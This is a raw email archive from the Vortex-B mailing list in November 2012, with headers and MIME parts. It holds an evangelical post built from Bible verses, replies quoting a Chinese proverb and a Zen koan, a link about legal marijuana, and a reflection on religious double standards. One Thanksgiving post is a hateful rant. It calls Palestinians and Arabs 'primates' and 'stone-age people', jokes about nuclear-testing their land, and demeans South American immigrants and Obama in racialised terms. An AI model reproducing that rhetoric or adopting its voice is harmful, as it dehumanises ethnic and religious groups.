have been associated with this forum since 1996. When religious topics come up I sometimes jump in. For all these years I have not been clear in letting you know exactly where I was coming from. Today I remove all doubt. Jeff There are over seven billion people alive in the world to day. At the end of our lives God wants all of us to join Him in Heaven. 2 Peter 3:9 BUT, None of us are good enough to go! Isaiah 64:6 None of us has earned the right! Romans 3:10-18 The bad news is that God requires perfection from us. Galatians 3:10 Despite all the effort we make to be good and do good, we all fail to qualify. Romans 7:19 The good news is that He has devised a way for us to achieve perfection. In all of history only one person was good enough to earn his way into Heaven. He succeeded in living a perfect life earning the right to enter God's presence. He also earned the right to place HIS PERFECTION on each of us by becoming the perfect sacrifice when He allowed His own creation to murder Him. Isaiah 53:6, Romans 5:21 That man was Jesus. He was more than a man. He was God in the flesh. John 1:14 There are over 750,000 words in the Bible assembled into thousands of verses. If you boil it down to a single most important statement, it was made by Jesus. This is it: I am the way, the truth, and the life. No one comes to the Father except through me. John 14: 6 By believing and trusting in Jesus, He covers our imperfection by putting upon us the perfection of Jesus. Galatians 3:27, 2 Corinthians 5:21 When God looks at us through Jesus He sees the perfection He demands, making us acceptable to Him and fit to join Him in Heaven. Ephesians 2:4-6 You want to please God? Believe in Jesus. Trust in Jesus. , Romans 3:21-26 Without faith it is impossible to please God. Hebrews 11:6 The Bible points out a sad truth: Most of the people in the world will reject and ridicule the rescue plan that God has put in place for us. Are you one of those? Matt. 7:14 My goal is not to share my religion with you; my goal is to share God's Heaven with you. _____ From: Rick Monteverde [mailto:rick@highsurf.com] Sent: Monday, November 19, 2012 7:41 PM To: vortexb-l@eskimo.com Subject: [VoB]:Vortex B Looking over a few posts here on vort b recently, think maybe we ought to rename the forum the V-oort cloud because, you know, it's *way* out there. - Rick ------=_NextPart_000_0156_01CDC6DB.207E2D90 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I have been associated with this = forum since 1996.   When religious topics come up I sometimes jump = in.  For all these years I have not been clear in letting you know exactly where = I was coming from.  Today I remove all doubt.

 

Jeff

 

There are over seven billion people alive in the = world to day.

 

At the end of our lives God wants all of us to join = Him in Heaven.  2 Peter 3:9

 

BUT,

 

None of us are good enough to go!  = Isaiah = 64:6

 

None of us has earned the right!  = Romans 3:10-18

 

The bad news is that God requires perfection from = us.  Galatians 3:10

 

Despite all the effort we make to be good and do = good, we all fail to qualify.  Romans = 7:19

 

The good news is that He has devised a way for us to = achieve perfection.

 

In all of history only one person was good enough to = earn his way into Heaven.

 

He succeeded in living a perfect life earning the = right to enter God’s presence.

 

He also earned the right to place HIS PERFECTION on = each of us by becoming the perfect sacrifice when He allowed His own creation to = murder Him.  Isaiah 53:6, Romans 5:21

 

That man was Jesus.  He was more than a man. He = was God in the flesh.  John 1:14

 

 

 

There are over 750,000 words in the Bible assembled = into thousands of verses. If you boil it down to a single most important = statement, it was made by Jesus.  This is it:  =

 

I am the way, the truth, and the life.  =

No one comes to the Father except through = me.  = John 14: = 6

 

 

By believing and trusting in Jesus, He covers our imperfection by putting upon us the perfection of Jesus.  = Galatians 3:27, 2 Corinthians 5:21

 

When God looks at us through Jesus He sees the = perfection He demands, making us acceptable to Him and fit to join Him in = Heaven.  Ephesians 2:4-6

 

You want to please God?

Believe in Jesus.  Trust in Jesus.  = , Romans 3:21-26

 

Without faith it is impossible to please = God.  Hebrews 11:6

 

The Bible points out a sad truth: Most of the people = in the world will reject and ridicule the rescue plan that God has put in place = for us.  Are you one of = those?           &= nbsp;     Matt. 7:14

 

My goal is = not to share my religion with you; my goal is to share God’s Heaven with = you.

 

 

From: Rick = Monteverde [mailto:rick@highsurf.com]
Sent: Monday, November = 19, 2012 7:41 PM
To: vortexb-l@eskimo.com
Subject: [VoB]:Vortex = B

 

Looking over a few posts here on vort  b recently, think maybe we ought to = rename the forum the V-oort cloud because, you know, it’s *way* out = there.

 

-          Rick

------=_NextPart_000_0156_01CDC6DB.207E2D90-- From vortexb-l-request@eskimo.com Tue Nov 20 05:55:33 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAKDtVJ6012154; Tue, 20 Nov 2012 05:55:31 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAKDtTQv012141; Tue, 20 Nov 2012 05:55:29 -0800 Resent-Date: Tue, 20 Nov 2012 05:55:29 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=8o//B4IucHYBKSw6ZzJ5BKvhDmK8HQmI5fv+ogTc58g= c=1 sm=1 a=yUnIBFQkZM0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=2JNWzim3U5tPkB2VVJ8A:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=NNfT7-G0TbH1nPB_T24A:9 a=gKO2Hq4RSVkA:10 a=UiCQ7L4-1S4A:10 a=hTZeC7Yk6K0A:10 a=frz4AuCg-hUA:10 a=-_5DHUJV4sBcJA5z:21 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: <1bca01cdc6b7$b2da2cd0$188e8670$@com> <21130A40B04E4EC08A5C6FD935F036EF@REVTEC1> In-Reply-To: <21130A40B04E4EC08A5C6FD935F036EF@REVTEC1> Subject: RE: [VoB]:Vortex B Date: Tue, 20 Nov 2012 07:55:29 -0600 Message-ID: <004001cdc726$b3d6dce0$1b8496a0$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0041_01CDC6F4.693C6CE0" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac3Gt7Bd/Gg2Rw9JSKuFAMtHzgpu+wASimHwAAkeJUA= Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4623 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 864 This is a multi-part message in MIME format. ------=_NextPart_000_0041_01CDC6F4.693C6CE0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Jeff, All ancient manuscripts need to be treated with the greatest of respect. However, I am also reminded of an ancient Chinese proverb given to me by a colleague of mine. He was of Taiwanese descent who possessed a PhD in Mathematics. A reasonable translation of that old Chinese saying goes as follows: If one has come to a personal belief that he has found all the moral answers to life within the printed words of a single book, it would be wise to burn that book. I realize that the above statement might possibly be considered offensive to you. It was not meant to be. My own personal interpretation of the above Chinese proverb is nevertheless a simple one, that what many call "god" or "Allah" or whatever... is to me an Eternal Essence that lives within all of us, despite how flawed all of us may feel about the core of our "selves". When we have the courage to let go of all that we think we are, warts and all, it allows us to once again reconnect to that Eternal Essence that lives in all of us equally. I suspect many ancients knew this simplicity. The practice is simple, yet difficult for most of us to comprehend let alone believe in, particularly in these high-tech days where instant gratification is the norm. my two cents. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks ------=_NextPart_000_0041_01CDC6F4.693C6CE0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Jeff,

 

All = ancient manuscripts need to be treated with the greatest of respect. =

 

However, I am also reminded = of an ancient Chinese proverb given to me by a colleague of mine. He was = of Taiwanese descent who possessed a PhD in Mathematics. A reasonable = translation of that old Chinese saying goes as = follows:

 

If one has come to a personal = belief that he has found all the moral answers to life within the = printed words of a single book, it would be wise to burn that = book.

 

I = realize that the above statement might possibly be considered offensive = to you. It was not meant to be. My own personal interpretation of the = above Chinese proverb is nevertheless a simple one, that what many call = "god" or "Allah" or whatever...  is to me an = Eternal Essence that lives within all of us, despite how flawed all of = us may feel about the core of our "selves". When we have the = courage to let go of all that we think we are, warts and all, it allows = us to once again reconnect to that Eternal Essence that lives in all of = us equally. I suspect many ancients knew this simplicity. The practice = is simple, yet difficult for most of us to comprehend let alone believe = in, particularly in these high-tech days where instant gratification is = the norm.

 

my = two cents.

 

Regards,

=

Steven Vincent = Johnson

www.OrionWorks.com<= /span>

www.zazzle.com/orionworks=

------=_NextPart_000_0041_01CDC6F4.693C6CE0-- From vortexb-l-request@eskimo.com Tue Nov 20 06:30:33 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAKEUVnw030794; Tue, 20 Nov 2012 06:30:31 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAKEUU2D030788; Tue, 20 Nov 2012 06:30:30 -0800 Resent-Date: Tue, 20 Nov 2012 06:30:30 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=w6CDeM26DHWkYMfyaZ1hN9vgBJpVVmLeh7YfO5dMajg=; b=nzQeQiJdHcpj1Vw+G5gikHSfAms7qPdS8dO1Jw6UensQA1gAS9dxPa3vqKQ5J5lxSe JIMMqiwmSetgLzVy1gAzbqgWlRF8ke53WUUvO7up8U+eqAbwnXbuaoJ0ykoB+xcu+Q5k mQ3bhnzFbmGdUBa1XlpN0DTm1mbSH0p06xeyPlIr4Vk0fplW4/1gHIMFGOVtwDWAz5hW oTP+IIikoAq1AdwmYa0jcG/EAk2ceWxZdIy/MPlcXeTxwFQ6UrsWBR2K9bKrc5eDHNSN hTOh2P8yqRUaHePk4V9vOhLmE013pHDcHC2t8TbTZURPdjmGahyY7gw0Hqq92KPbr3H7 G6BQ== MIME-Version: 1.0 In-Reply-To: <004001cdc726$b3d6dce0$1b8496a0$@net> References: <1bca01cdc6b7$b2da2cd0$188e8670$@com> <21130A40B04E4EC08A5C6FD935F036EF@REVTEC1> <004001cdc726$b3d6dce0$1b8496a0$@net> Date: Tue, 20 Nov 2012 09:30:30 -0500 Message-ID: Subject: Re: [VoB]:Vortex B From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: <61dJZD.A.7gH.GQ5qQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4624 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 865 A Buddha In Tokyo in the Meiji era there lived two prominent teachers of opposite characteristics. One, Unsho, an instructor in Shingon, kept Buddha's precepts scrupulously. He never drank intoxicants, nor did he eat after eleven o'clock in the morning. The other teacher, Tanzan, a professor of philosophy at the Imperial University, never observed the precepts. Whenever he felt like eating, he ate, and when he felt like sleeping in the daytime he slept. One day Unsho visited Tanzan, who was drinking wine at the time, not even a drop of which is suppposed to touch the tongue of a Buddhist. "Hello, brother," Tanzan greeted him. "Won't you have a drink?" "I never drink!" exclaimed Unsho solemnly. "One who does not drink is not even human," said Tanzan. "Do you mean to call me inhuman just because I do not indulge inintoxicating liquids!" exclaimed Unsho in anger. "Then if I am not human, what am I?" "A Buddha," answered Tanzan. http://deoxy.org/koan/13 From vortexb-l-request@eskimo.com Tue Nov 20 06:34:54 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAKEYqpn031745; Tue, 20 Nov 2012 06:34:52 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAKEYq5Z031737; Tue, 20 Nov 2012 06:34:52 -0800 Resent-Date: Tue, 20 Nov 2012 06:34:52 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=umWX2ubLadqk1ivgV3jkNBbDJh1mdsnDmC/t58uDXxI=; b=j33dCEOs1I22W9jr0PG2uEIa3WfHQ+jc8g11c+nMFjSgYUujIYKekAkFEoNPrtqSNe dr54jc8//RPjUxmmOnb4k+eXNHHBMKkavPPOjIXLOnjsI+79GsEVAwW7AsxhRXCrK8q3 Kif26YWL5YHfc71Ta7pMGGtvkZBKxuZgsUPRpZxdMUbP+V2elJWmciRJooCtkmgNSMtn agXJfoif/y9G+pNXbMV2uGMac6zYcOwAPnNFOMB3yV+cdFOHy0+ONHSM7Wn3SdVs+aFF dB55cSsSdb42puLXqxpbV40gA6WNZIw9Te2Mn+EtIp5tCOdSpVEMwFt8ra95ud0TWVrE +mHQ== MIME-Version: 1.0 Date: Tue, 20 Nov 2012 09:34:52 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4625 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Marijwhatnow? Status: RO X-Status: X-Keywords: X-UID: 866 A Guide to Legal Marijuana Use In Seattle http://spdblotter.seattle.gov/2012/11/09/marijwhatnow-a-guide-to-legal-marijuana-use-in-seattle/ From vortexb-l-request@eskimo.com Tue Nov 20 06:52:12 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAKEqAg9027736; Tue, 20 Nov 2012 06:52:11 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAKEqAX0027729; Tue, 20 Nov 2012 06:52:10 -0800 Resent-Date: Tue, 20 Nov 2012 06:52:10 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=JCHLFI+pA5ldnyi0i3LL3WYoUqzw31SquFR4zUOX9aM=; b=AwaGJNjA9vqZgbTIzCVjXjoZFfFixpoZKXBRmhQN+QM/IhjAZjf3ofqcJT8jcp6Vvt ARZMCQ5TnnQj4FTn9/nNj9eBmN9KamzwOH3V0UMFKMmxlltXnurq/Hnlcu1dbpjHxksq T1F2WHVrH8h8q9+IQI6sRbcCHbNRAGXq/geGo7CA/400QKuedNv/EbcxhKCwy/PL+xQj aFy2J7uuOuXhgY/hM90fZk7Jw+alVsIyY2xEbLZgfyMqQ5AEWWAYfScyn+wYOesdIssJ VxJQ1I0gO2O+GhuBzrh82YXbJUnEDi+jglQdfyPNyvvx+9eebfHCvhjRbQcALjzi03qI B3XQ== MIME-Version: 1.0 In-Reply-To: <21130A40B04E4EC08A5C6FD935F036EF@REVTEC1> References: <1bca01cdc6b7$b2da2cd0$188e8670$@com> <21130A40B04E4EC08A5C6FD935F036EF@REVTEC1> Date: Tue, 20 Nov 2012 09:52:11 -0500 Message-ID: Subject: Re: [VoB]:Vortex B From: Jed Rothwell To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=e89a8f502faefb223d04ceee60af Resent-Message-ID: <5-2uS.A.MxG.ak5qQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4626 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 867 --e89a8f502faefb223d04ceee60af Content-Type: text/plain; charset=ISO-8859-1 Jeff Fink wrote: > > When religious topics come up I sometimes jump in. For all these years I > have not been clear in letting you know exactly where I was coming from. > Today I remove all doubt. > My take: http://theoatmeal.com/comics/religion - Jed --e89a8f502faefb223d04ceee60af Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Jeff Fink <revtec@ptd.net> wrote:
=A0

When religious topics come up I sometimes jump i= n.=A0 For all these years I have not been clear in letting you know exactly where I w= as coming from.=A0 Today I remove all doubt.


My take:

--e89a8f502faefb223d04ceee60af-- From vortexb-l-request@eskimo.com Tue Nov 20 18:16:54 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAL2GqEr019414; Tue, 20 Nov 2012 18:16:52 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAL2GoGN019403; Tue, 20 Nov 2012 18:16:50 -0800 Resent-Date: Tue, 20 Nov 2012 18:16:50 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=set3ANRjRCPXVE/jtaJxOKJrtEYPXxXKq56iIP4dO9Y= c=1 sm=1 a=yUnIBFQkZM0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=8JdWfUqKAAAA:8 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=wgv6oXqJJ3NAZShnwBgA:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=2ouTREAIyMjc3LenePwA:9 a=gKO2Hq4RSVkA:10 a=UiCQ7L4-1S4A:10 a=hTZeC7Yk6K0A:10 a=frz4AuCg-hUA:10 a=MgFb-E6efnTRiv4O:21 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: <1bca01cdc6b7$b2da2cd0$188e8670$@com> <21130A40B04E4EC08A5C6FD935F036EF@REVTEC1> <004001cdc726$b3d6dce0$1b8496a0$@net> In-Reply-To: Subject: RE: [VoB]:Vortex B Date: Tue, 20 Nov 2012 20:16:52 -0600 Message-ID: <00c701cdc78e$45a5ce30$d0f16a90$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00C8_01CDC75B.FB0B5E30" X-Mailer: Microsoft Office Outlook 12.0 Content-Language: en-us Thread-Index: Ac3HMMO+1F6i6jF/TDmQ615U4MM6AwAWvuOQ Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4627 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 868 This is a multi-part message in MIME format. ------=_NextPart_000_00C8_01CDC75B.FB0B5E30 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit To Terry and Jed... First to Terry: I think Buddha would have been a cool dude to meet and perhaps to share a glass of wine with. In person he seemed to have been very unassuming. What wonders might Buddha ponder if he were walking among us today? Speaking of wine, several years ago I had an interesting conversation with a group conservative Christians. One day I received an email from this group where they were making fun of an attached photo showing an Arab man taking a photograph of his women folk. All the Arab women were wearing burqas. The Christian who sent the email thought it was funny that someone would be taking photos of their women folk when presumably it would be impossible to tell who was their burqas. I got the point. It did seem kind of funny to me. But then I thought about the matter a bit longer. I began to see a double-standard being played out here. I emailed back to the group the fact that ya'know. some of our own rituals might be considered stupid or revolting to them. For example, I mentioned the fact that Christians often perform a ritualistic form of cannibalism. The ritual I am speaking of is, of course, communion where we symbolically drink the blood and eat the flesh of Jesus Christ by consuming red wine and bread. I quickly added the fact that I had willingly partaken of this barbaric sacrificial ritual many times in my life, so, therefore, I myself was just as much a practicing cannibal as any Christian might be. Unfortunately, the attempt to explain my perception on this matter did not appear to have been received very well. Another member from the email group eventually responded and accused me of not supporting our troupes in Iraq. The linkage between a photograph showing women shrouded in burqas - to me being accused of not supporting our troupes in Iraq escaped me. I figured it was time to let sleeping dogs lie. And now, to Jed: Concerning: http://theoatmeal.com/comics/religion Regarding the eternal words ".a flaccid putz is a righteous putz." As a senior citizen who has recently turned 60, it's good to know that I'm getting more righteous by the day. God save the Atheist. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks ------=_NextPart_000_00C8_01CDC75B.FB0B5E30 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

To Terry and = Jed...

<= o:p> 

F= irst to Terry:

 

I think = Buddha would have been a cool dude to meet and perhaps to share a glass = of wine with. In person he seemed to have been very unassuming. What = wonders might Buddha ponder if he were walking among us = today?

 

Speaking of = wine, several years ago I had an interesting conversation with a group = conservative Christians. One day I received an email from this group = where they were making fun of an attached photo showing an Arab man = taking a photograph of his women folk. All the Arab women were wearing = burqas. The Christian who sent the email thought it was funny that = someone would be taking photos of their women folk when presumably it = would be impossible to tell who was their burqas. I got the point. It = did seem kind of funny to me. But then I thought about the matter a bit = longer. I began to see a double-standard being played out here. I = emailed back to the group the fact that ya’know… some of our = own rituals might be considered stupid or revolting to them. For = example, I mentioned the fact that Christians often perform a = ritualistic form of cannibalism. The ritual I am speaking of is, of = course, communion where we symbolically drink the blood and eat the = flesh of Jesus Christ by consuming red wine and bread. I quickly added = the fact that I had willingly partaken of this barbaric sacrificial = ritual many times in my life, so, therefore, I myself was just as much a = practicing cannibal as any Christian might be. Unfortunately, the = attempt to explain my perception on this matter did not appear to have = been received very well. Another member from the email group eventually = responded and accused me of not supporting our troupes in Iraq. The = linkage between a photograph showing women shrouded in burqas - to me = being accused of not supporting our troupes in Iraq escaped me. I = figured it was time to let sleeping dogs lie.

<= o:p> 

A= nd now, to Jed:

<= o:p> 

C= oncerning:

<= o:p> 

<= a = href=3D"http://theoatmeal.com/comics/religion">http://theoatmeal.com/comi= cs/religion

<= o:p> 

R= egarding the eternal words “…a flaccid putz is a righteous = putz.” As a senior citizen who has recently turned 60, it’s = good to know that I’m getting more righteous by the = day.

<= o:p> 

G= od save the Atheist.

<= o:p> 

R= egards,

S= teven Vincent Johnson

w= ww.OrionWorks.com

w= ww.zazzle.com/orionworks

------=_NextPart_000_00C8_01CDC75B.FB0B5E30-- From vortexb-l-request@eskimo.com Thu Nov 22 11:36:43 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAMJafmH012668; Thu, 22 Nov 2012 11:36:41 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAMJaXfG012648; Thu, 22 Nov 2012 11:36:33 -0800 Resent-Date: Thu, 22 Nov 2012 11:36:33 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <1664.26ee6914.3ddfd8c1@aol.com> Date: Thu, 22 Nov 2012 14:36:33 -0500 (EST) Subject: [VoB]: Thanks(give-in) Day! To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1353612994; bh=oiSE6bqJ4GrtXhwt0bRGGSXaARkZCAWvxMHNZ0DX870=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=woyMKkXZBtNYZyXbnllB7WipMtG/n63b4aFmbq3jTikdLBv82/xo0RRYzXwapq2NZ y5jbBpKGnWD2E/puvL2ilQMPhv/iyWAMi67m9vdRwAuW6IsQxiyBucQouX1sojgYze EEafXfbyfeTJrIuPKfwNY87B9V9to9RV07MVi9Xg= X-AOL-SCOLL-SCORE: 0:2:407744960:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d294c50ae7ec23bec Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4628 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 869 First, we can be thankful today for our dear thoughtful so-called President BO for not lopping off the head the big whitey honky turkey, and serving it up for all the primarily primate world to see. BO's message of Gobble Gobble, Buc Buc, BREEAAAK The Bank!, before the Turkey's catch on, was deeply felt by All (un)Americans, uh,,, er, I mean, so allah the USA (Ununited Sickened Americans) can have faith in the hope of being kept alive, to be tortured later, and/or slaughtered. Second, but equally important is the wonderful news of "Peace In The Middle East" So everyone!... Grab your 15 kids & machine gun, and take to the streets,,, and Yell Allahloud!... BLAH BLAH, BLAH BLAH, BLAH BLAB YA!..... and one more time!.... BLAH BLAH, BLAH BLAH, BLAH BLAB YA!. (Translated)... Death to zionist pigs!... the primarily primate brained primitives will rule the flat earth! In the process of commending BO for his tremendous accomplishments in the past 4 yrs as Communist & Cheap, I believe I have come up with a solution to " Cap and Trade"... We shouldn't "Cap" Obama's A$$, but rather relocate and/or appoint him as the new leader of the holy (as in, fresh hand-made machine-gunned swiss cheese) palestine people(?). BO could easily run Hamaas into the ground, and quicker than you can say, Blah Blah, Blah Blah, Blah BlabYa!. and/or turn that miserable two bit wanabe state of mental midgets into a testing ground for training primates to mimic humans, OR a nuclear testing business that turns sand into glass (a thing of beauty) Now, Hillery Cleantan could be the spokes-woman(?) serving as negotiator for All of the primarily low-to-no mentality primative instinct propaganda-driven, meaningless, hopeless, useless, dictator-run owned mobs of stone-age people(?) whereever they happen to breed in extremely large numbers and/or live solely to hate and/or destroy or overthrow modern civilization. Well anyway, another thing to be thankful for on this proud to Gobble! Gobble! on, on this Traditional Turkey American Day (in honor of agreeing with the Engins that all of man(?)kind strive toward a common goal, in our struggle to live, or fight, eat, drink, & maybe tend to eliminate each other once in a while) that the south american people (?) haven't yet completely taken over, and forced us all to smoke pot, snort coccain, and/or disillusion us so badly, that we readily agree & accept how hard working they are. It is with great pride I say "They are here to live among us, not just to take from us". and so, " We indeed are blessed and therefore Truly Thankful for all the diversity, and perversity as well, that seek to invade, infest, devour, and of course destroy the very fabric or foundation of society. Yes, everyone can live in freedom w/o worry of bias, race, color, or preference as to what type of species of animal you feel the need to get it on with, and/or, be persecuted for being completely indifferent to human beings which tend to more truly inhabit a civilization. From vortexb-l-request@eskimo.com Thu Nov 22 13:55:43 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAMLtge0014490; Thu, 22 Nov 2012 13:55:42 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAMLtfk0014477; Thu, 22 Nov 2012 13:55:41 -0800 Resent-Date: Thu, 22 Nov 2012 13:55:41 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50AE9F3C.9000305@resist.ca> Date: Thu, 22 Nov 2012 16:55:08 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]: Thanks(give-in) Day! References: <1664.26ee6914.3ddfd8c1@aol.com> In-Reply-To: <1664.26ee6914.3ddfd8c1@aol.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4629 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 870 Anyone want to talk about something intelligent here..? -- grok. From vortexb-l-request@eskimo.com Thu Nov 22 18:21:28 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAN2LRN2031224; Thu, 22 Nov 2012 18:21:27 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAN2LQn1031215; Thu, 22 Nov 2012 18:21:26 -0800 Resent-Date: Thu, 22 Nov 2012 18:21:26 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:in-reply-to:mime-version:content-transfer-encoding :content-type:message-id:cc:x-mailer:from:subject:date:to; bh=xheTJ2xdhASRX2ZRKqczD+DU0R6HIKM3DL1a3I+xAQY=; b=nTCHZ9gho8grmxNe1D63tcSu7qneQy7RODVxcJujsAVZ6FTL0jpSwWj4UgypgkXGlX BOY7LyPLGshJEzKnnUHqDaB5AVm9tUpalU0t3mAFnwVJcwZafWMh/Z3h6XGzL+is7Lbh EU2NJYVhN0vVzTQacgcKScpKVdZyRxzflVqygHcl1qJqrx/LfsbNiLeBgPPAa+dhu6bk pC1+oGwiy0DT1UN3EoDVb8VBR+Nv2qWupmPdA/dljG3FpqfgWE6TkXYxnfhiEYisti5Y mngycP41FnufbPTYNUEEo+0fhvCMTZh6B0UdhVrZcYPC+BfESYVBRyOYrMopLor5ILV+ elKQ== References: 